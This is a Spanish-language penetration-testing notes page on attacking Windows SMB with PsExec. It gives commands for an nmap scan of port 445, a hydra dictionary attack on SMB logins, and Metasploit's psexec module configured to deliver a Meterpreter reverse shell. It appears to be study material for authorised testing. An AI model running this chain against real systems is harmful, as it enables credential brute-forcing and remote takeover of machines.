> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/pentesting/pentesting-a-infraestructura/explotacion-de-smb-con-psexec-en-windows.md).

# EXPLOTACIÓN DE SMB CON PsEXEC en WINDOWS

PSEXEC: HERRAMIENTA DE MICROSOFT QUE PERMITE EJECUTAR PROCESOS EN SISTEMAS REMOTOS USANDO CREDENCIALES DE ADMINISTRADOR.

METODOLOGÍA

## ENUMERACIÓN

```bash
sudo nmap -Pn -n -sS -p445 [target]
```

## ATAQUE DE DICCIONARIO

```bash
hydra -L users.txt -P passwords.txt smb://(target)
```

## EXPLOTACIÓN CON METASPLOIT

Buscar un módulo de exploit para windows para smb y que use psexec.

* Se va a conectar al protocolo SMB por el puerto 445 a la máquina víctima.
* Se va a loguear con las credenciales específicadas.
* Va a transferir el payload utilizando las funcionalidades de SMB. Copiando el payload a un recurso compartido que sea temporal o directamente en el sistema.
* Ejecutar el payload que es una shell reversa de meterpreter.

```bash
msfconsole

search windows smb psexec

use exploit/windows/smb/psexec

options

set rhosts [ip-target]
set SMBUser [user]
set SMBPass [password]

exploit
```